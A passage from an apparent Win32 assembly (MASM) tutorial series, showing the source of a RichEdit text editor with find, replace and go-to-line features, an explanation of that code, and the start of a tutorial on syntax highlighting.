    mov   wc.lpfnWndProc, OFFSET WndProc
    mov   wc.cbClsExtra,NULL
    mov   wc.cbWndExtra,NULL
    push  hInst
    pop   wc.hInstance
    mov   wc.hbrBackground,COLOR_WINDOW+1
    mov   wc.lpszMenuName,IDR_MAINMENU
    mov   wc.lpszClassName,OFFSET ClassName
    invoke LoadIcon,NULL,IDI_APPLICATION
    mov   wc.hIcon,eax
    mov   wc.hIconSm,eax
    invoke LoadCursor,NULL,IDC_ARROW
    mov   wc.hCursor,eax
    invoke RegisterClassEx, addr wc
    INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
           WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
           CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
           hInst,NULL
    mov   hwnd,eax
    invoke ShowWindow, hwnd,SW_SHOWNORMAL
    invoke UpdateWindow, hwnd
    invoke LoadAccelerators,hInstance,IDR_MAINACCEL
    mov hAccel,eax
    .while TRUE
        invoke GetMessage, ADDR msg,0,0,0
        .break .if (!eax)
        invoke IsDialogMessage,hSearch,addr msg
        .if eax==FALSE
            invoke TranslateAccelerator,hwnd,hAccel,addr msg
            .if eax==0
                invoke TranslateMessage, ADDR msg
                invoke DispatchMessage, ADDR msg
            .endif
        .endif
    .endw
    mov   eax,msg.wParam
    ret
WinMain endp

StreamInProc proc hFile:DWORD,pBuffer:DWORD, NumBytes:DWORD, pBytesRead:DWORD
    invoke ReadFile,hFile,pBuffer,NumBytes,pBytesRead,0
    xor eax,1
    ret
StreamInProc endp

StreamOutProc proc hFile:DWORD,pBuffer:DWORD, NumBytes:DWORD, pBytesWritten:DWORD
    invoke WriteFile,hFile,pBuffer,NumBytes,pBytesWritten,0
    xor eax,1
    ret
StreamOutProc endp

CheckModifyState proc hWnd:DWORD
    invoke SendMessage,hwndRichEdit,EM_GETMODIFY,0,0
    .if eax!=0
        invoke MessageBox,hWnd,addr WannaSave,addr AppName,MB_YESNOCANCEL
        .if eax==IDYES
            invoke SendMessage,hWnd,WM_COMMAND,IDM_SAVE,0
        .elseif eax==IDCANCEL
            mov eax,FALSE
            ret
        .endif
    .endif
    mov eax,TRUE
    ret
CheckModifyState endp

SetColor proc
    LOCAL cfm:CHARFORMAT
    invoke SendMessage,hwndRichEdit,EM_SETBKGNDCOLOR,0,BackgroundColor
    invoke RtlZeroMemory,addr cfm,sizeof cfm
    mov cfm.cbSize,sizeof cfm
    mov cfm.dwMask,CFM_COLOR
    push TextColor
    pop cfm.crTextColor
    invoke SendMessage,hwndRichEdit,EM_SETCHARFORMAT,SCF_ALL,addr cfm
    ret
SetColor endp

OptionProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    LOCAL clr:CHOOSECOLOR
    .if uMsg==WM_INITDIALOG
    .elseif uMsg==WM_COMMAND
        mov eax,wParam
        shr eax,16
        .if ax==BN_CLICKED
            mov eax,wParam
            .if ax==IDCANCEL
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .elseif ax==IDC_BACKCOLORBOX
                invoke RtlZeroMemory,addr clr,sizeof clr
                mov clr.lStructSize,sizeof clr
                push hWnd
                pop clr.hwndOwner
                push hInstance
                pop clr.hInstance
                push BackgroundColor
                pop clr.rgbResult
                mov clr.lpCustColors,offset CustomColors
                mov clr.Flags,CC_ANYCOLOR or CC_RGBINIT
                invoke ChooseColor,addr clr
                .if eax!=0
                    push clr.rgbResult
                    pop BackgroundColor
                    invoke GetDlgItem,hWnd,IDC_BACKCOLORBOX
                    invoke InvalidateRect,eax,0,TRUE
                .endif
            .elseif ax==IDC_TEXTCOLORBOX
                invoke RtlZeroMemory,addr clr,sizeof clr
                mov clr.lStructSize,sizeof clr
                push hWnd
                pop clr.hwndOwner
                push hInstance
                pop clr.hInstance
                push TextColor
                pop clr.rgbResult
                mov clr.lpCustColors,offset CustomColors
                mov clr.Flags,CC_ANYCOLOR or CC_RGBINIT
                invoke ChooseColor,addr clr
                .if eax!=0
                    push clr.rgbResult
                    pop TextColor
                    invoke GetDlgItem,hWnd,IDC_TEXTCOLORBOX
                    invoke InvalidateRect,eax,0,TRUE
                .endif
            .elseif ax==IDOK
                invoke SendMessage,hwndRichEdit,EM_GETMODIFY,0,0
                push eax
                invoke SetColor
                pop eax
                invoke SendMessage,hwndRichEdit,EM_SETMODIFY,eax,0
                invoke EndDialog,hWnd,0
            .endif
        .endif
    .elseif uMsg==WM_CTLCOLORSTATIC
        invoke GetDlgItem,hWnd,IDC_BACKCOLORBOX
        .if eax==lParam
            invoke CreateSolidBrush,BackgroundColor
            ret
        .else
            invoke GetDlgItem,hWnd,IDC_TEXTCOLORBOX
            .if eax==lParam
                invoke CreateSolidBrush,TextColor
                ret
            .endif
        .endif
        mov eax,FALSE
        ret
    .elseif uMsg==WM_CLOSE
        invoke EndDialog,hWnd,0
    .else
        mov eax,FALSE
        ret
    .endif
    mov eax,TRUE
    ret
OptionProc endp

SearchProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    .if uMsg==WM_INITDIALOG
        push hWnd
        pop hSearch
        invoke CheckRadioButton,hWnd,IDC_DOWN,IDC_UP,IDC_DOWN
        invoke SendDlgItemMessage,hWnd,IDC_FINDEDIT,WM_SETTEXT,0,addr FindBuffer
    .elseif uMsg==WM_COMMAND
        mov eax,wParam
        shr eax,16
        .if ax==BN_CLICKED
            mov eax,wParam
            .if ax==IDOK
                mov uFlags,0
                invoke SendMessage,hwndRichEdit,EM_EXGETSEL,0,addr findtext.chrg
                invoke GetDlgItemText,hWnd,IDC_FINDEDIT,addr FindBuffer,sizeof FindBuffer
                .if eax!=0
                    invoke IsDlgButtonChecked,hWnd,IDC_DOWN
                    .if eax==BST_CHECKED
                        or uFlags,FR_DOWN
                        mov eax,findtext.chrg.cpMin
                        .if eax!=findtext.chrg.cpMax
                            push findtext.chrg.cpMax
                            pop findtext.chrg.cpMin
                        .endif
                        mov findtext.chrg.cpMax,-1
                    .else
                        mov findtext.chrg.cpMax,0
                    .endif
                    invoke IsDlgButtonChecked,hWnd,IDC_MATCHCASE
                    .if eax==BST_CHECKED
                        or uFlags,FR_MATCHCASE
                    .endif
                    invoke IsDlgButtonChecked,hWnd,IDC_WHOLEWORD
                    .if eax==BST_CHECKED
                        or uFlags,FR_WHOLEWORD
                    .endif
                    mov findtext.lpstrText,offset FindBuffer
                    invoke SendMessage,hwndRichEdit,EM_FINDTEXTEX,uFlags,addr findtext
                    .if eax!=-1
                        invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr findtext.chrgText
                    .endif
                .endif
            .elseif ax==IDCANCEL
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .else
                mov eax,FALSE
                ret
            .endif
        .endif
    .elseif uMsg==WM_CLOSE
        mov hSearch,0
        invoke EndDialog,hWnd,0
    .else
        mov eax,FALSE
        ret
    .endif
    mov eax,TRUE
    ret
SearchProc endp

ReplaceProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    LOCAL settext:SETTEXTEX
    .if uMsg==WM_INITDIALOG
        push hWnd
        pop hSearch
        invoke SetDlgItemText,hWnd,IDC_FINDEDIT,addr FindBuffer
        invoke SetDlgItemText,hWnd,IDC_REPLACEEDIT,addr ReplaceBuffer
    .elseif uMsg==WM_COMMAND
        mov eax,wParam
        shr eax,16
        .if ax==BN_CLICKED
            mov eax,wParam
            .if ax==IDCANCEL
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .elseif ax==IDOK
                invoke GetDlgItemText,hWnd,IDC_FINDEDIT,addr FindBuffer,sizeof FindBuffer
                invoke GetDlgItemText,hWnd,IDC_REPLACEEDIT,addr ReplaceBuffer,sizeof ReplaceBuffer
                mov findtext.chrg.cpMin,0
                mov findtext.chrg.cpMax,-1
                mov findtext.lpstrText,offset FindBuffer
                mov settext.flags,ST_SELECTION
                mov settext.codepage,CP_ACP
                .while TRUE
                    invoke SendMessage,hwndRichEdit,EM_FINDTEXTEX,FR_DOWN,addr findtext
                    .if eax==-1
                        .break
                    .else
                        invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr findtext.chrgText
                        invoke SendMessage,hwndRichEdit,EM_SETTEXTEX,addr settext,addr ReplaceBuffer
                    .endif
                .endw
            .endif
        .endif
    .elseif uMsg==WM_CLOSE
        mov hSearch,0
        invoke EndDialog,hWnd,0
    .else
        mov eax,FALSE
        ret
    .endif
    mov eax,TRUE
    ret
ReplaceProc endp

GoToProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    LOCAL LineNo:DWORD
    LOCAL chrg:CHARRANGE
    .if uMsg==WM_INITDIALOG
        push hWnd
        pop hSearch
    .elseif uMsg==WM_COMMAND
        mov eax,wParam
        shr eax,16
        .if ax==BN_CLICKED
            mov eax,wParam
            .if ax==IDCANCEL
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .elseif ax==IDOK
                invoke GetDlgItemInt,hWnd,IDC_LINENO,NULL,FALSE
                mov LineNo,eax
                invoke SendMessage,hwndRichEdit,EM_GETLINECOUNT,0,0
                .if eax>LineNo
                    invoke SendMessage,hwndRichEdit,EM_LINEINDEX,LineNo,0
                    mov chrg.cpMin,eax
                    mov chrg.cpMax,eax
                    invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr chrg
                    invoke SetFocus,hwndRichEdit
                .endif
            .endif
        .endif
    .elseif uMsg==WM_CLOSE
        mov hSearch,0
        invoke EndDialog,hWnd,0
    .else
        mov eax,FALSE
        ret
    .endif
    mov eax,TRUE
    ret
GoToProc endp

PrepareEditMenu proc hSubMenu:DWORD
    LOCAL chrg:CHARRANGE
    invoke SendMessage,hwndRichEdit,EM_CANPASTE,CF_TEXT,0
    .if eax==0		; no text in the clipboard
        invoke EnableMenuItem,hSubMenu,IDM_PASTE,MF_GRAYED
    .else
        invoke EnableMenuItem,hSubMenu,IDM_PASTE,MF_ENABLED
    .endif
    invoke SendMessage,hwndRichEdit,EM_CANUNDO,0,0
    .if eax==0
        invoke EnableMenuItem,hSubMenu,IDM_UNDO,MF_GRAYED
    .else
        invoke EnableMenuItem,hSubMenu,IDM_UNDO,MF_ENABLED
    .endif
    invoke SendMessage,hwndRichEdit,EM_CANREDO,0,0
    .if eax==0
        invoke EnableMenuItem,hSubMenu,IDM_REDO,MF_GRAYED
    .else
        invoke EnableMenuItem,hSubMenu,IDM_REDO,MF_ENABLED
    .endif
    invoke SendMessage,hwndRichEdit,EM_EXGETSEL,0,addr chrg
    mov eax,chrg.cpMin
    .if eax==chrg.cpMax		; no current selection
        invoke EnableMenuItem,hSubMenu,IDM_COPY,MF_GRAYED
        invoke EnableMenuItem,hSubMenu,IDM_CUT,MF_GRAYED
        invoke EnableMenuItem,hSubMenu,IDM_DELETE,MF_GRAYED
    .else
        invoke EnableMenuItem,hSubMenu,IDM_COPY,MF_ENABLED
        invoke EnableMenuItem,hSubMenu,IDM_CUT,MF_ENABLED
        invoke EnableMenuItem,hSubMenu,IDM_DELETE,MF_ENABLED
    .endif
    ret
PrepareEditMenu endp

WndProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    LOCAL ofn:OPENFILENAME
    LOCAL buffer[256]:BYTE
    LOCAL editstream:EDITSTREAM
    LOCAL hFile:DWORD
    LOCAL hPopup:DWORD
    LOCAL pt:POINT
    LOCAL chrg:CHARRANGE
    .if uMsg==WM_CREATE
        invoke CreateWindowEx,WS_EX_CLIENTEDGE,addr RichEditClass,0,WS_CHILD or WS_VISIBLE or ES_MULTILINE or WS_VSCROLL or WS_HSCROLL or ES_NOHIDESEL,\
                CW_USEDEFAULT,CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,hWnd,RichEditID,hInstance,0
        mov hwndRichEdit,eax
        invoke SendMessage,hwndRichEdit,EM_LIMITTEXT,-1,0
        invoke SetColor
        invoke SendMessage,hwndRichEdit,EM_SETMODIFY,FALSE,0
        invoke SendMessage,hwndRichEdit,EM_SETEVENTMASK,0,ENM_MOUSEEVENTS
        invoke SendMessage,hwndRichEdit,EM_EMPTYUNDOBUFFER,0,0
    .elseif uMsg==WM_NOTIFY
        push esi
        mov esi,lParam
        assume esi:ptr NMHDR
        .if [esi].code==EN_MSGFILTER
            assume esi:ptr MSGFILTER
            .if [esi].msg==WM_RBUTTONDOWN
                invoke GetMenu,hWnd
                invoke GetSubMenu,eax,1
                mov hPopup,eax
                invoke PrepareEditMenu,hPopup
                mov edx,[esi].lParam
                mov ecx,edx
                and edx,0FFFFh
                shr ecx,16
                mov pt.x,edx
                mov pt.y,ecx
                invoke ClientToScreen,hWnd,addr pt
                invoke TrackPopupMenu,hPopup,TPM_LEFTALIGN or TPM_BOTTOMALIGN,pt.x,pt.y,NULL,hWnd,NULL
            .endif
        .endif
        pop esi
    .elseif uMsg==WM_INITMENUPOPUP
        mov eax,lParam
        .if ax==0		; file menu
            .if FileOpened==TRUE	; a file is already opened
                invoke EnableMenuItem,wParam,IDM_OPEN,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_CLOSE,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_SAVE,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_SAVEAS,MF_ENABLED
            .else
                invoke EnableMenuItem,wParam,IDM_OPEN,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_CLOSE,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_SAVE,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_SAVEAS,MF_GRAYED
            .endif
        .elseif ax==1	; edit menu
            invoke PrepareEditMenu,wParam
        .elseif ax==2		; search menu bar
            .if FileOpened==TRUE
                invoke EnableMenuItem,wParam,IDM_FIND,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_FINDNEXT,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_FINDPREV,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_REPLACE,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_GOTOLINE,MF_ENABLED
            .else
                invoke EnableMenuItem,wParam,IDM_FIND,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_FINDNEXT,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_FINDPREV,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_REPLACE,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_GOTOLINE,MF_GRAYED
            .endif
        .endif
    .elseif uMsg==WM_COMMAND
        .if lParam==0		; menu commands
            mov eax,wParam
            .if ax==IDM_OPEN
                invoke RtlZeroMemory,addr ofn,sizeof ofn
                mov ofn.lStructSize,sizeof ofn
                push hWnd
                pop ofn.hwndOwner
                push hInstance
                pop ofn.hInstance
                mov ofn.lpstrFilter,offset ASMFilterString
                mov ofn.lpstrFile,offset FileName
                mov byte ptr [FileName],0
                mov ofn.nMaxFile,sizeof FileName
                mov ofn.Flags,OFN_FILEMUSTEXIST or OFN_HIDEREADONLY or OFN_PATHMUSTEXIST
                invoke GetOpenFileName,addr ofn
                .if eax!=0
                    invoke CreateFile,addr FileName,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
                    .if eax!=INVALID_HANDLE_VALUE
                        mov hFile,eax
                        ;================================================================
                        ; stream the text into the richedit control
                        ;================================================================
                        mov editstream.dwCookie,eax
                        mov editstream.pfnCallback,offset StreamInProc
                        invoke SendMessage,hwndRichEdit,EM_STREAMIN,SF_TEXT,addr editstream
                        ;==========================================================
                        ; Initialize the modify state to false
                        ;==========================================================
                        invoke SendMessage,hwndRichEdit,EM_SETMODIFY,FALSE,0
                        invoke CloseHandle,hFile
                        mov FileOpened,TRUE
                    .else
                        invoke MessageBox,hWnd,addr OpenFileFail,addr AppName,MB_OK or MB_ICONERROR
                    .endif
                .endif
            .elseif ax==IDM_CLOSE
                invoke CheckModifyState,hWnd
                .if eax==TRUE
                    invoke SetWindowText,hwndRichEdit,0
                    mov FileOpened,FALSE
                .endif
            .elseif ax==IDM_SAVE
                invoke CreateFile,addr FileName,GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
                .if eax!=INVALID_HANDLE_VALUE
@@:
                    mov hFile,eax
                    ;================================================================
                    ; stream the text to the file
                    ;================================================================
                    mov editstream.dwCookie,eax
                    mov editstream.pfnCallback,offset StreamOutProc
                    invoke SendMessage,hwndRichEdit,EM_STREAMOUT,SF_TEXT,addr editstream
                    ;==========================================================
                    ; Initialize the modify state to false
                    ;==========================================================
                    invoke SendMessage,hwndRichEdit,EM_SETMODIFY,FALSE,0
                    invoke CloseHandle,hFile
                .else
                    invoke MessageBox,hWnd,addr OpenFileFail,addr AppName,MB_OK or MB_ICONERROR
                .endif
            .elseif ax==IDM_COPY
                invoke SendMessage,hwndRichEdit,WM_COPY,0,0
            .elseif ax==IDM_CUT
                invoke SendMessage,hwndRichEdit,WM_CUT,0,0
            .elseif ax==IDM_PASTE
                invoke SendMessage,hwndRichEdit,WM_PASTE,0,0
            .elseif ax==IDM_DELETE
                invoke SendMessage,hwndRichEdit,EM_REPLACESEL,TRUE,0
            .elseif ax==IDM_SELECTALL
                mov chrg.cpMin,0
                mov chrg.cpMax,-1
                invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr chrg
            .elseif ax==IDM_UNDO
                invoke SendMessage,hwndRichEdit,EM_UNDO,0,0
            .elseif ax==IDM_REDO
                invoke SendMessage,hwndRichEdit,EM_REDO,0,0
            .elseif ax==IDM_OPTION
                invoke DialogBoxParam,hInstance,IDD_OPTIONDLG,hWnd,addr OptionProc,0
            .elseif ax==IDM_SAVEAS
                invoke RtlZeroMemory,addr ofn,sizeof ofn
                mov ofn.lStructSize,sizeof ofn
                push hWnd
                pop ofn.hwndOwner
                push hInstance
                pop ofn.hInstance
                mov ofn.lpstrFilter,offset ASMFilterString
                mov ofn.lpstrFile,offset AlternateFileName
                mov byte ptr [AlternateFileName],0
                mov ofn.nMaxFile,sizeof AlternateFileName
                mov ofn.Flags,OFN_FILEMUSTEXIST or OFN_HIDEREADONLY or OFN_PATHMUSTEXIST
                invoke GetSaveFileName,addr ofn
                .if eax!=0
                    invoke CreateFile,addr AlternateFileName,GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
                    .if eax!=INVALID_HANDLE_VALUE
                        jmp @B
                    .endif
                .endif
            .elseif ax==IDM_FIND
                .if hSearch==0
                    invoke CreateDialogParam,hInstance,IDD_FINDDLG,hWnd,addr SearchProc,0
                .endif
            .elseif ax==IDM_REPLACE
                .if hSearch==0
                    invoke CreateDialogParam,hInstance,IDD_REPLACEDLG,hWnd,addr ReplaceProc,0
                .endif
            .elseif ax==IDM_GOTOLINE
                .if hSearch==0
                    invoke CreateDialogParam,hInstance,IDD_GOTODLG,hWnd,addr GoToProc,0
                .endif
            .elseif ax==IDM_FINDNEXT
                invoke lstrlen,addr FindBuffer
                .if eax!=0
                    invoke SendMessage,hwndRichEdit,EM_EXGETSEL,0,addr findtext.chrg
                    mov eax,findtext.chrg.cpMin
                    .if eax!=findtext.chrg.cpMax
                        push findtext.chrg.cpMax
                        pop findtext.chrg.cpMin
                    .endif
                    mov findtext.chrg.cpMax,-1
                    mov findtext.lpstrText,offset FindBuffer
                    invoke SendMessage,hwndRichEdit,EM_FINDTEXTEX,FR_DOWN,addr findtext
                    .if eax!=-1
                        invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr findtext.chrgText
                    .endif
                .endif
            .elseif ax==IDM_FINDPREV
                invoke lstrlen,addr FindBuffer
                .if eax!=0
                    invoke SendMessage,hwndRichEdit,EM_EXGETSEL,0,addr findtext.chrg
                    mov findtext.chrg.cpMax,0
                    mov findtext.lpstrText,offset FindBuffer
                    invoke SendMessage,hwndRichEdit,EM_FINDTEXTEX,0,addr findtext
                    .if eax!=-1
                        invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr findtext.chrgText
                    .endif
                .endif
            .elseif ax==IDM_EXIT
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .endif
        .endif
    .elseif uMsg==WM_CLOSE
        invoke CheckModifyState,hWnd
        .if eax==TRUE
            invoke DestroyWindow,hWnd
        .endif
    .elseif uMsg==WM_SIZE
        mov eax,lParam
        mov edx,eax
        and eax,0FFFFh
        shr edx,16
        invoke MoveWindow,hwndRichEdit,0,0,eax,edx,TRUE
    .elseif uMsg==WM_DESTROY
        invoke PostQuitMessage,NULL
    .else
        invoke DefWindowProc,hWnd,uMsg,wParam,lParam
        ret
    .endif
    xor eax,eax
    ret
WndProc endp
end start

Analysis

The search-for-text capability is implemented with EM_FINDTEXTEX. When the user clicks on Find menuitem, IDM_FIND message is sent and the Find dialog box is displayed.

    invoke GetDlgItemText,hWnd,IDC_FINDEDIT,addr FindBuffer,sizeof FindBuffer
    .if eax!=0

When the user types the text to search for and then press OK button, we get the text to be searched for into FindBuffer.

        mov uFlags,0
        invoke SendMessage,hwndRichEdit,EM_EXGETSEL,0,addr findtext.chrg

If the text string is not null, we continue to initialize uFlags variable to 0.This variable is used to store the search flags used with EM_FINDTEXTEX. After that, we obtain the current selection with EM_EXGETSEL because we need to know the starting point of the search operation.

    invoke IsDlgButtonChecked,hWnd,IDC_DOWN
        .if eax==BST_CHECKED
            or uFlags,FR_DOWN
            mov eax,findtext.chrg.cpMin
            .if eax!=findtext.chrg.cpMax
                push findtext.chrg.cpMax
                pop findtext.chrg.cpMin
            .endif
            mov findtext.chrg.cpMax,-1
        .else
            mov findtext.chrg.cpMax,0
        .endif

The next part is a little tricky. We check the direction radio button to ascertain which direction the search should go. If the downward search is indicated, we set FR_DOWN flag to uFlags. After that, we check whether a selection is currently in effect by comparing the values of cpMin and cpMax. If both values are not equal, it means there is a current selection and we must continue the search from the end of that selection to the end of text in the control. Thus we need to replace the value of cpMax with that of cpMin and change the value of cpMax to -1 (0FFFFFFFFh). If there is no current selection, the range to search is from the current caret position to the end of text.

If the user chooses to search upward, we use the range from the start of the selection to the beginning of the text in the control. That's why we only modify the value of cpMax to 0. In the case of upward search, cpMin contains the character index of the last character in the search range and cpMax the character index of the first char in the search range. It's the inverse of the downward search.

        invoke IsDlgButtonChecked,hWnd,IDC_MATCHCASE
        .if eax==BST_CHECKED
            or uFlags,FR_MATCHCASE
        .endif
        invoke IsDlgButtonChecked,hWnd,IDC_WHOLEWORD
        .if eax==BST_CHECKED
            or uFlags,FR_WHOLEWORD
        .endif
        mov findtext.lpstrText,offset FindBuffer

We continue to check the checkboxes for the search flags, ie, FR_MATCHCASE and FR_WHOLEWORD. Lastly, we put the offset of the text to search for in lpstrText member.

        invoke SendMessage,hwndRichEdit,EM_FINDTEXTEX,uFlags,addr findtext
        .if eax!=-1
            invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr findtext.chrgText
        .endif
    .endif

We are now ready to issue EM_FINDTEXTEX. After that, we examine the search result returned by SendMessage. If the return value is -1, no match is found in the search range. Otherwise, chrgText member of FINDTEXTEX structure is filled with the character indices of the matching text. We thus proceed to select it with EM_EXSETSEL.

The replace operation is done in much the same manner.

    invoke GetDlgItemText,hWnd,IDC_FINDEDIT,addr FindBuffer,sizeof FindBuffer
    invoke GetDlgItemText,hWnd,IDC_REPLACEEDIT,addr ReplaceBuffer,sizeof ReplaceBuffer

We retrieve the text to search for and the text used to replace.

    mov findtext.chrg.cpMin,0
    mov findtext.chrg.cpMax,-1
    mov findtext.lpstrText,offset FindBuffer

To make it easy, the replace operation affects all the text in the control. Thus the starting index is 0 and the ending index is -1.

    mov settext.flags,ST_SELECTION
    mov settext.codepage,CP_ACP

We initialize SETTEXTEX structure to indicate that we want to replace the current selection and use the default system code page.

    .while TRUE
        invoke SendMessage,hwndRichEdit,EM_FINDTEXTEX,FR_DOWN,addr findtext
        .if eax==-1
            .break
        .else
            invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr findtext.chrgText
            invoke SendMessage,hwndRichEdit,EM_SETTEXTEX,addr settext,addr ReplaceBuffer
        .endif
    .endw

We enter an infinite loop, searching for the matching text. If one is found, we select it with EM_EXSETSEL and replace it with EM_SETTEXTEX. When no more match is found, we exit the loop.

Find Next and Find Prev. features use EM_FINDTEXTEX message in the similar manner to the find operation.

We will examine the Go to Line feature next. When the user clicks Go To Line menuitem, we display a dialog box below:

When the user types a line number and presses Ok button, we begin the operation.

    invoke GetDlgItemInt,hWnd,IDC_LINENO,NULL,FALSE
    mov LineNo,eax

Obtain the line number from the edit control

    invoke SendMessage,hwndRichEdit,EM_GETLINECOUNT,0,0
    .if eax>LineNo

Obtain the number of lines in the control. Check whether the user specifies the line number that is out of the range.

        invoke SendMessage,hwndRichEdit,EM_LINEINDEX,LineNo,0

If the line number is valid, we want to move the caret to the first character of that line. So we send EM_LINEINDEX message to the richedit control. This message returns the character index of the first character in the specified line. We send the line number in wParam and in return, we has the character index.

        invoke SendMessage,hwndRichEdit,EM_SETSEL,eax,eax

To set the current selection, this time we use EM_SETSEL because the character indices are not already in a CHARRANGE structure thus it saves us two instructions (to put those indices into a CHARRANGE structure).

        invoke SetFocus,hwndRichEdit
    .endif

The caret will not be displayed unless the richedit control has the focus. So we call SetFocus on it.

[Iczelion's Win32 Assembly Homepage]


Iczelion's Win32 Assembly Tutorial 35: RichEdit Control: Syntax Hilighting

Tutorial 35: RichEdit Control: Syntax Hilighting

Before reading this tutorial, let me warn you that it's a complicated subject: not suited for a beginner. This is the last in the richedit control tutorials.

Download the example.

Theory

Syntax hilighting is a subject of hot debate for those writing text editors. The best method (in my opinion) is to code a custom edit control and this is the approach taken by lots of commercial softwares. However, for those of us who don't have time for coding such control, the next best thing is to adapt the existing control to make it suit our need.

Let us take a look at what RichEdit control provides to help us in implementing syntax hilighting. I should state at this moment that the following method is not the "correct" path: I just want to show you the pitfall that many fall for. RichEdit control provides EM_SETCHARFORMAT message that you can use to change the color of the text. At first glance, this message seems to be the perfect solution (I know because I was one of the victim). However, a closer examination will show you several things that are undesirable:

  • EM_SETCHARFORMAT only works for a text currently in selection or all text in the control. If you want to change the text color (hilight) a certain word, you must first select it.
  • EM_SETCHARFORMAT is very slow
  • It has a problem with the caret position in the richedit control

With the above discussion, you can see that using EM_SETCHARFORMAT is a wrong choice. I'll show you the "relatively correct" choice.

The method I currently use is "syntax hilighting just-in-time". I'll hilight only the visible portion of text. Thus the speed of the hilighting will not be related to the size of the file at all. No matter how large the file, only a small portion of it is visible at one time.

How to do that? The answer is simple:

  1. subclass the richedit control and handle WM_PAINT message within your own window procedure
  2. When it receives WM_PAINT message, it calls the original window procedure of the richedit control to let it update the screen as usual.
  3. After that, we overwrite the words to be hilighted with different color

Of course, the road is not that easy: there are still a couple of minor things to fix but the above method works quite nicely. The display speed is very satisfactory.

Now let's concentrate on the detail. The subclassing process is simple and doesn't require much attention. The really complicated part is when we have to find a fast way of searching for the words to be hilighted. This is further complicated by the need not to hilight any word within a comment block.

The method I use may not be the best but it works ok. I'm sure you can find a faster way. Anyway, here it is:

  • I create a 256 dword array, initialized to 0. Each dword corresponds to a possible ASCII character,named ASMSyntaxArray. For example, the 21th dword represents the ascii 20h (space). I use them as a fast lookup table: For example, if I have the word "include", I'll extract the first character (i) from the word and look up the dword at the corresponding index. If that dword is 0, I know immediately that there is no words to be hilighted starting with "i". If the dword is non-zero, it contains the pointer to the linked list of the WORDINFO structure which contains the information about the word to be hilighted.
  • I read the words to be hilighted and create a WORDINFO structure for each of them.
            WORDINFO struct
                WordLen dd ? 		; the length of the word: used as a quick comparison
                pszWord dd ? 	; pointer to the word
                pColor dd ? 		; point to the dword that contains the color used to hilite the word
                NextLink dd ? 		; point to the next WORDINFO structure
            WORDINFO ends

As you can see, I use the length of the word as the second quick comparison. If the first character of the word matches, we next compare its length to the available words. Each dword in ASMSyntaxArray contains a pointer to the head of the associated WORDINFO array. For example, the dword that represents the character "i" will contain the pointer to the linked list of the words that begin with "i". pColor member points to the dword that contains the color value used to hilight the word. pszWord points to the word to be hilighted, in lowercase.

  • The memory for the linked list is allocated from the default heap so it's fast and easy to clean up, ie, no cleaning up required at all.

The word list is stored in a file named "wordfile.txt" and I access it with GetPrivateProfileString APIs. I provide as many as 10 different syntax coloring, starting from C1 to C10. The color array is named ASMColorArray. pColor member of each WORDINFO structure points to one of the dwords in ASMColorArray. Thus it is easy to change the syntax coloring on the fly: you just change the dword in ASMColorArray and all words using that color will use the new color immediately.

Example

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\gdi32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\gdi32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

WORDINFO struct
    WordLen dd ?		; the length of the word: used as a quick comparison
    pszWord dd ?		; pointer to the word
    pColor dd ?		; point to the dword that contains the color used to hilite the word
    NextLink dd ?		; point to the next WORDINFO structure
WORDINFO ends

.const
IDR_MAINMENU                   equ 101
IDM_OPEN                      equ  40001
IDM_SAVE                       equ 40002
IDM_CLOSE                      equ 40003
IDM_SAVEAS                     equ 40004
IDM_EXIT                       equ 40005
IDM_COPY                      equ  40006
IDM_CUT                       equ  40007
IDM_PASTE                      equ 40008
IDM_DELETE                     equ 40009
IDM_SELECTALL                  equ 40010
IDM_OPTION 			equ 40011
IDM_UNDO			equ 40012
IDM_REDO			equ 40013
IDD_OPTIONDLG                  equ 101
